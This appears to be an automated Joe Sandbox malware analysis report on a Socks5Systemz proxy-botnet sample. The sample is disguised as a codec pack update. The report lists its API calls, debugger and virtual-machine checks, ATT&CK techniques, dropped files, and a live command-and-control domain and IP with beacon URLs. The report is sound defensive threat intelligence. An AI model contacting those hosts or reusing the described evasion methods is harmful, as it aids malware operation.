Source: C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe TID: 2044	Thread sleep time: -5340000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe TID: 7148	Thread sleep count: 9701 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe TID: 7148	Thread sleep time: -19402000s >= -30000s	Jump to behavior

Source: C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Code function: 1_2_0047A44C FindFirstFileA,FindNextFileA,FindClose,FindFirstFileA,FindNextFileA,FindClose,	1_2_0047A44C
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Code function: 1_2_0047077C FindFirstFileA,FindNextFileA,FindClose,	1_2_0047077C
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Code function: 1_2_004513E4 FindFirstFileA,GetLastError,	1_2_004513E4
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Code function: 1_2_004601DC SetErrorMode,FindFirstFileA,FindNextFileA,FindClose,SetErrorMode,	1_2_004601DC
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Code function: 1_2_00478334 FindFirstFileA,FindNextFileA,FindClose,FindFirstFileA,FindNextFileA,FindClose,	1_2_00478334
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Code function: 1_2_00460658 SetErrorMode,FindFirstFileA,FindNextFileA,FindClose,SetErrorMode,	1_2_00460658
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Code function: 1_2_0045EC50 FindFirstFileA,FindNextFileA,FindClose,	1_2_0045EC50
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Code function: 1_2_00491EBC FindFirstFileA,SetFileAttributesA,FindNextFileA,FindClose,	1_2_00491EBC

Source: C:\Users\user\Desktop\0RWRPBSuDx.exe

Code function: 0_2_00409A14 GetSystemInfo,VirtualQuery,VirtualProtect,VirtualProtect,VirtualQuery,

0_2_00409A14

Source: C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe

Thread delayed: delay time: 60000

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior

Source: 0RWRPBSuDx.tmp, 00000001.00000002.2867870941.0000000000689000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: codecpackupdate.exe, 00000003.00000002.2868115063.00000000008F8000.00000004.00000020.00020000.00000000.sdmp, codecpackupdate.exe, 00000003.00000002.2868115063.00000000009E6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Users\user\Desktop\0RWRPBSuDx.exe	API call chain: ExitProcess graph end node			graph_0-6303
Source: C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe	API call chain: ExitProcess graph end node			graph_3-19020

Anti Debugging

Found API chain indicative of debugger detection

Source: C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe

Debugger detection routine: QueryPerformanceCounter, DebugActiveProcess, DecisionNodes, ExitProcess or Sleep

graph_3-17661

Source: C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe

Code function: 3_2_00A100FE RtlEncodePointer,RtlEncodePointer,___crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryExW,GetProcAddress,RtlEncodePointer,GetProcAddress,RtlEncodePointer,GetProcAddress,RtlEncodePointer,GetProcAddress,RtlEncodePointer,GetProcAddress,RtlEncodePointer,IsDebuggerPresent,OutputDebugStringW,RtlDecodePointer,RtlDecodePointer,RtlDecodePointer,RtlDecodePointer,RtlDecodePointer,RtlDecodePointer,RtlDecodePointer,

3_2_00A100FE

Source: C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe

3_2_00A100FE

Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp

Code function: 1_2_00447DC0 LoadLibraryExA,LoadLibraryA,GetProcAddress,

1_2_00447DC0

Source: C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe

Code function: 3_2_009F6487 RtlInitializeCriticalSection,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetModuleHandleA,GetProcAddress,GetTickCount,GetVersionExA,_malloc,_malloc,_malloc,_malloc,_malloc,_malloc,_malloc,_malloc,GetProcessHeap,GetProcessHeap,RtlAllocateHeap,RtlAllocateHeap,GetProcessHeap,RtlAllocateHeap,GetProcessHeap,RtlAllocateHeap,RtlEnterCriticalSection,RtlLeaveCriticalSection,_malloc,_malloc,_malloc,_malloc,QueryPerformanceCounter,Sleep,_malloc,_malloc,Sleep,RtlEnterCriticalSection,RtlLeaveCriticalSection,

3_2_009F6487

Source: C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe

Code function: 3_2_00A09468 SetUnhandledExceptionFilter,UnhandledExceptionFilter,

3_2_00A09468

Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp

Code function: 1_2_004734AC ShellExecuteEx,GetLastError,MsgWaitForMultipleObjects,GetExitCodeProcess,CloseHandle,

1_2_004734AC

Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp

Code function: 1_2_0045AEE4 GetVersion,GetModuleHandleA,GetProcAddress,GetProcAddress,GetProcAddress,AllocateAndInitializeSid,GetLastError,LocalFree,

1_2_0045AEE4

Source: C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe

Code function: 3_2_00A07FAD cpuid

3_2_00A07FAD

Source: C:\Users\user\Desktop\0RWRPBSuDx.exe	Code function: GetLocaleInfoA,	0_2_0040515C
Source: C:\Users\user\Desktop\0RWRPBSuDx.exe	Code function: GetLocaleInfoA,	0_2_004051A8
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Code function: GetLocaleInfoA,	1_2_004084D0
Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	Code function: GetLocaleInfoA,	1_2_0040851C

Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp

Code function: 1_2_004569D4 GetTickCount,QueryPerformanceCounter,GetSystemTimeAsFileTime,GetCurrentProcessId,CreateNamedPipeA,GetLastError,CreateFileA,SetNamedPipeHandleState,CreateProcessA,CloseHandle,CloseHandle,

1_2_004569D4

Source: C:\Users\user\Desktop\0RWRPBSuDx.exe

Code function: 0_2_004026C4 GetSystemTime,

0_2_004026C4

Source: C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp

Code function: 1_2_00453D04 GetUserNameA,

1_2_00453D04

Source: C:\Users\user\Desktop\0RWRPBSuDx.exe

Code function: 0_2_00405C44 GetVersionExA,

0_2_00405C44

Stealing of Sensitive Information

Yara detected Socks5Systemz

Source: Yara match	File source: 00000003.00000002.2868320795.00000000009F1000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2867940792.0000000000731000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: codecpackupdate.exe PID: 7084, type: MEMORYSTR

Remote Access Functionality

Yara detected Socks5Systemz

Source: Yara match	File source: 00000003.00000002.2868320795.00000000009F1000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2867940792.0000000000731000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: codecpackupdate.exe PID: 7084, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	3 Native API	1 DLL Side-Loading	1 Exploitation for Privilege Escalation	1 Deobfuscate/Decode Files or Information	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	2 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	2 Service Execution	4 Windows Service	1 DLL Side-Loading	3 Obfuscated Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	Data from Removable Media	2 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 Bootkit	1 Access Token Manipulation	22 Software Packing	Security Account Manager	3 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	4 Windows Service	1 DLL Side-Loading	NTDS	35 System Information Discovery	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	2 Process Injection	1 Masquerading	LSA Secrets	241 Security Software Discovery	SSH	Keylogging	112 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	121 Virtualization/Sandbox Evasion	Cached Domain Credentials	121 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Access Token Manipulation	DCSync	11 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	2 Process Injection	Proc Filesystem	3 System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Bootkit	/etc/passwd and /etc/shadow	1 Remote System Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	Dynamic API Resolution	Network Sniffing	1 System Network Configuration Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
0RWRPBSuDx.exe	8%	ReversingLabs
0RWRPBSuDx.exe	10%	Virustotal		Browse
0RWRPBSuDx.exe	100%	Avira	HEUR/AGEN.1332570

Dropped Files

Source	Detection	Scanner	Label	Link
C:\ProgramData\WWAN_MobileFixup 2.33.197.66\WWAN_MobileFixup 2.33.197.66.exe	100%	Avira	HEUR/AGEN.1324697
C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe	100%	Avira	HEUR/AGEN.1324697
C:\ProgramData\WWAN_MobileFixup 2.33.197.66\WWAN_MobileFixup 2.33.197.66.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe	100%	Joe Sandbox ML
C:\ProgramData\WWAN_MobileFixup 2.33.197.66\WWAN_MobileFixup 2.33.197.66.exe	38%	Virustotal		Browse
C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe	38%	Virustotal		Browse
C:\Users\user\AppData\Local\Codec Pack Update\is-06H7C.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Codec Pack Update\is-06H7C.tmp	0%	Virustotal		Browse
C:\Users\user\AppData\Local\Codec Pack Update\is-7NJT9.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Codec Pack Update\is-7NJT9.tmp	0%	Virustotal		Browse
C:\Users\user\AppData\Local\Codec Pack Update\is-IQC7T.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Codec Pack Update\is-IQC7T.tmp	0%	Virustotal		Browse
C:\Users\user\AppData\Local\Codec Pack Update\is-K5GCJ.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Codec Pack Update\is-K5GCJ.tmp	0%	Virustotal		Browse
C:\Users\user\AppData\Local\Codec Pack Update\is-K7UM1.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Codec Pack Update\is-K7UM1.tmp	0%	Virustotal		Browse
C:\Users\user\AppData\Local\Codec Pack Update\is-MD4P1.tmp	0%	Virustotal		Browse
C:\Users\user\AppData\Local\Codec Pack Update\is-MU2B9.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Codec Pack Update\is-MU2B9.tmp	0%	Virustotal		Browse
C:\Users\user\AppData\Local\Codec Pack Update\libbz2-1.dll (copy)	0%	ReversingLabs
C:\Users\user\AppData\Local\Codec Pack Update\libbz2-1.dll (copy)	0%	Virustotal		Browse
C:\Users\user\AppData\Local\Codec Pack Update\libgcc_s_dw2-1.dll (copy)	0%	ReversingLabs
C:\Users\user\AppData\Local\Codec Pack Update\libgcc_s_dw2-1.dll (copy)	0%	Virustotal		Browse
C:\Users\user\AppData\Local\Codec Pack Update\libogg-0.dll (copy)	0%	ReversingLabs
C:\Users\user\AppData\Local\Codec Pack Update\libogg-0.dll (copy)	0%	Virustotal		Browse
C:\Users\user\AppData\Local\Codec Pack Update\libvorbis-0.dll (copy)	0%	ReversingLabs
C:\Users\user\AppData\Local\Codec Pack Update\libvorbis-0.dll (copy)	0%	Virustotal		Browse
C:\Users\user\AppData\Local\Codec Pack Update\libwinpthread-1.dll (copy)	0%	ReversingLabs
C:\Users\user\AppData\Local\Codec Pack Update\libwinpthread-1.dll (copy)	0%	Virustotal		Browse
C:\Users\user\AppData\Local\Codec Pack Update\unins000.exe (copy)	0%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp	0%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\is-KVG27.tmp\_isetup\_RegDLL.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-KVG27.tmp\_isetup\_RegDLL.tmp	3%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\is-KVG27.tmp\_isetup\_iscrypt.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-KVG27.tmp\_isetup\_iscrypt.dll	1%	Virustotal		Browse

Source	Detection	Scanner	Label	Link
http://www.remobjects.com/psU	0%	URL Reputation	safe
http://www.remobjects.com/ps	0%	URL Reputation	safe
http://www.innosetup.com/	0%	Avira URL Cloud	safe
http://45.142.214.240/search/?q=67e28dd8	0%	Avira URL Cloud	safe
http://45.142.214.240/	0%	Avira URL Cloud	safe
http://45.142.214.240/search/?q=	0%	Avira URL Cloud	safe
http://45.142.214.240/search/?q=67e28dd86d55f128	0%	Avira URL Cloud	safe
http://45.142.214.240/search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e9	0%	Avira URL Cloud	safe
http://vovsoft.com	0%	Avira URL Cloud	safe
https://vovsoft.com/newsletter/	0%	Avira URL Cloud	safe
http://45.142.214.240/	8%	Virustotal		Browse
http://www.innosetup.com/	1%	Virustotal		Browse
http://45.142.214.240/search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df	0%	Avira URL Cloud	safe
http://www.openssl.org).	0%	Avira URL Cloud	safe
http://vovsoft.com	0%	Virustotal		Browse
bvuppwf.com	0%	Avira URL Cloud	safe
http://45.142.214.240/search/?q=67e28dd86d55f128470aac1a7c27d784	0%	Avira URL Cloud	safe
https://vovsoft.com/contact/.	0%	Avira URL Cloud	safe
http://bvuppwf.com/search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4ce8889b5e4fa9281ae978f271ea771795af8e05c645db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608ffe16c1ec909e3b	0%	Avira URL Cloud	safe
http://45.142.214.240/search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e99282	0%	Avira URL Cloud	safe
http://45.142.214.240/search/?q=67e28dd86d55f128U-~	0%	Avira URL Cloud	safe
http://45.142.214.240/search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c(	0%	Avira URL Cloud	safe
https://vovsoft.com/contact/.	0%	Virustotal		Browse
https://vovsoft.com/contact/	0%	Avira URL Cloud	safe
http://45.142.214.240/se0-	0%	Avira URL Cloud	safe
http://bvuppwf.com/search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216	0%	Avira URL Cloud	safe
https://vovsoft.com/newsletter/	0%	Virustotal		Browse
https://vovsoft.com/contact/	0%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bvuppwf.com	45.142.214.240	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
bvuppwf.com	true	Avira URL Cloud: safe	unknown
http://bvuppwf.com/search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4ce8889b5e4fa9281ae978f271ea771795af8e05c645db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608ffe16c1ec909e3b	true	Avira URL Cloud: safe	unknown
http://bvuppwf.com/search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.innosetup.com/	0RWRPBSuDx.tmp, 0RWRPBSuDx.tmp, 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, is-MD4P1.tmp.1.dr, 0RWRPBSuDx.tmp.0.dr	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://45.142.214.240/search/?q=67e28dd86d55f128	codecpackupdate.exe, 00000003.00000002.2868984267.000000000363E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://45.142.214.240/search/?q=	codecpackupdate.exe, 00000003.00000002.2869004771.0000000003682000.00000004.00000020.00020000.00000000.sdmp, codecpackupdate.exe, 00000003.00000002.2868984267.000000000363E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://45.142.214.240/search/?q=67e28dd8	codecpackupdate.exe, 00000003.00000002.2869004771.0000000003682000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://45.142.214.240/	codecpackupdate.exe, 00000003.00000002.2868115063.00000000009C9000.00000004.00000020.00020000.00000000.sdmp	false	8%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.remobjects.com/psU	0RWRPBSuDx.exe, 00000000.00000003.1608850294.0000000002088000.00000004.00001000.00020000.00000000.sdmp, 0RWRPBSuDx.exe, 00000000.00000003.1608714441.0000000002300000.00000004.00001000.00020000.00000000.sdmp, 0RWRPBSuDx.tmp, 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, is-MD4P1.tmp.1.dr, 0RWRPBSuDx.tmp.0.dr	false	URL Reputation: safe	unknown
http://45.142.214.240/search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e9	codecpackupdate.exe, 00000003.00000002.2868984267.000000000363E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://vovsoft.com	0RWRPBSuDx.exe, 00000000.00000003.1608178072.0000000002074000.00000004.00001000.00020000.00000000.sdmp, 0RWRPBSuDx.exe, 00000000.00000003.1608104571.0000000002300000.00000004.00001000.00020000.00000000.sdmp, 0RWRPBSuDx.exe, 00000000.00000002.2867895808.0000000002080000.00000004.00001000.00020000.00000000.sdmp, 0RWRPBSuDx.tmp, 00000001.00000003.1612803679.0000000003100000.00000004.00001000.00020000.00000000.sdmp, 0RWRPBSuDx.tmp, 00000001.00000003.1615129214.00000000006BF000.00000004.00000020.00020000.00000000.sdmp, 0RWRPBSuDx.tmp, 00000001.00000002.2867870941.00000000006BF000.00000004.00000020.00020000.00000000.sdmp, 0RWRPBSuDx.tmp, 00000001.00000003.1612892204.000000000211C000.00000004.00001000.00020000.00000000.sdmp, 0RWRPBSuDx.tmp, 00000001.00000002.2868089053.0000000002128000.00000004.00001000.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://vovsoft.com/newsletter/	0RWRPBSuDx.exe, 00000000.00000003.1608178072.0000000002074000.00000004.00001000.00020000.00000000.sdmp, 0RWRPBSuDx.exe, 00000000.00000003.1608104571.0000000002300000.00000004.00001000.00020000.00000000.sdmp, 0RWRPBSuDx.exe, 00000000.00000002.2867895808.0000000002080000.00000004.00001000.00020000.00000000.sdmp, 0RWRPBSuDx.tmp, 00000001.00000003.1612803679.0000000003100000.00000004.00001000.00020000.00000000.sdmp, 0RWRPBSuDx.tmp, 00000001.00000003.1615129214.00000000006BF000.00000004.00000020.00020000.00000000.sdmp, 0RWRPBSuDx.tmp, 00000001.00000002.2867870941.00000000006BF000.00000004.00000020.00020000.00000000.sdmp, 0RWRPBSuDx.tmp, 00000001.00000003.1612892204.000000000211C000.00000004.00001000.00020000.00000000.sdmp, 0RWRPBSuDx.tmp, 00000001.00000002.2868089053.0000000002128000.00000004.00001000.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://45.142.214.240/search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df	codecpackupdate.exe, 00000003.00000002.2868115063.00000000009C9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://mingw-w64.sourceforge.net/X	is-K7UM1.tmp.1.dr	false		high
http://www.openssl.org).	0RWRPBSuDx.exe, 00000000.00000003.1608178072.0000000002074000.00000004.00001000.00020000.00000000.sdmp, 0RWRPBSuDx.exe, 00000000.00000003.1608104571.0000000002300000.00000004.00001000.00020000.00000000.sdmp, 0RWRPBSuDx.exe, 00000000.00000002.2867895808.0000000002080000.00000004.00001000.00020000.00000000.sdmp, 0RWRPBSuDx.tmp, 00000001.00000003.1615129214.00000000006BC000.00000004.00000020.00020000.00000000.sdmp, 0RWRPBSuDx.tmp, 00000001.00000003.1612803679.0000000003100000.00000004.00001000.00020000.00000000.sdmp, 0RWRPBSuDx.tmp, 00000001.00000003.1615129214.00000000006BF000.00000004.00000020.00020000.00000000.sdmp, 0RWRPBSuDx.tmp, 00000001.00000002.2867870941.00000000006BF000.00000004.00000020.00020000.00000000.sdmp, 0RWRPBSuDx.tmp, 00000001.00000003.1612892204.000000000211C000.00000004.00001000.00020000.00000000.sdmp, 0RWRPBSuDx.tmp, 00000001.00000002.2868089053.0000000002128000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://45.142.214.240/search/?q=67e28dd86d55f128470aac1a7c27d784	codecpackupdate.exe, 00000003.00000002.2868984267.000000000363E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://vovsoft.com/contact/.	0RWRPBSuDx.exe, 00000000.00000003.1608178072.0000000002074000.00000004.00001000.00020000.00000000.sdmp, 0RWRPBSuDx.exe, 00000000.00000003.1608104571.0000000002300000.00000004.00001000.00020000.00000000.sdmp, 0RWRPBSuDx.exe, 00000000.00000002.2867895808.0000000002080000.00000004.00001000.00020000.00000000.sdmp, 0RWRPBSuDx.tmp, 00000001.00000003.1612803679.0000000003100000.00000004.00001000.00020000.00000000.sdmp, 0RWRPBSuDx.tmp, 00000001.00000003.1615129214.00000000006BF000.00000004.00000020.00020000.00000000.sdmp, 0RWRPBSuDx.tmp, 00000001.00000002.2867870941.00000000006BF000.00000004.00000020.00020000.00000000.sdmp, 0RWRPBSuDx.tmp, 00000001.00000003.1612892204.000000000211C000.00000004.00001000.00020000.00000000.sdmp, 0RWRPBSuDx.tmp, 00000001.00000002.2868089053.0000000002128000.00000004.00001000.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.remobjects.com/ps	0RWRPBSuDx.exe, 00000000.00000003.1608850294.0000000002088000.00000004.00001000.00020000.00000000.sdmp, 0RWRPBSuDx.exe, 00000000.00000003.1608714441.0000000002300000.00000004.00001000.00020000.00000000.sdmp, 0RWRPBSuDx.tmp, 0RWRPBSuDx.tmp, 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, is-MD4P1.tmp.1.dr, 0RWRPBSuDx.tmp.0.dr	false	URL Reputation: safe	unknown
http://45.142.214.240/search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e99282	codecpackupdate.exe, 00000003.00000002.2869086684.0000000003786000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://45.142.214.240/search/?q=67e28dd86d55f128U-~	codecpackupdate.exe, 00000003.00000002.2868984267.000000000363E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://45.142.214.240/search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c(	codecpackupdate.exe, 00000003.00000002.2868984267.000000000363E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://vovsoft.com/contact/	0RWRPBSuDx.exe, 00000000.00000003.1608178072.0000000002074000.00000004.00001000.00020000.00000000.sdmp, 0RWRPBSuDx.exe, 00000000.00000003.1608104571.0000000002300000.00000004.00001000.00020000.00000000.sdmp, 0RWRPBSuDx.exe, 00000000.00000002.2867895808.0000000002080000.00000004.00001000.00020000.00000000.sdmp, 0RWRPBSuDx.tmp, 00000001.00000003.1612803679.0000000003100000.00000004.00001000.00020000.00000000.sdmp, 0RWRPBSuDx.tmp, 00000001.00000003.1615129214.00000000006BF000.00000004.00000020.00020000.00000000.sdmp, 0RWRPBSuDx.tmp, 00000001.00000002.2867870941.00000000006BF000.00000004.00000020.00020000.00000000.sdmp, 0RWRPBSuDx.tmp, 00000001.00000003.1612892204.000000000211C000.00000004.00001000.00020000.00000000.sdmp, 0RWRPBSuDx.tmp, 00000001.00000002.2868089053.0000000002128000.00000004.00001000.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://45.142.214.240/se0-	codecpackupdate.exe, 00000003.00000002.2868984267.000000000363E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
88.80.148.19	unknown	Bulgaria		44901	BELCLOUDBG	false
45.142.214.240	bvuppwf.com	Russian Federation		200019	ALEXHOSTMD	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1417492
Start date and time:	2024-03-29 12:57:12 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 59s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	0RWRPBSuDx.exe renamed because original name is a hash value
Original Sample Name:	d19197438a7371baaac62fec8dabb3d7.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@7/26@1/2
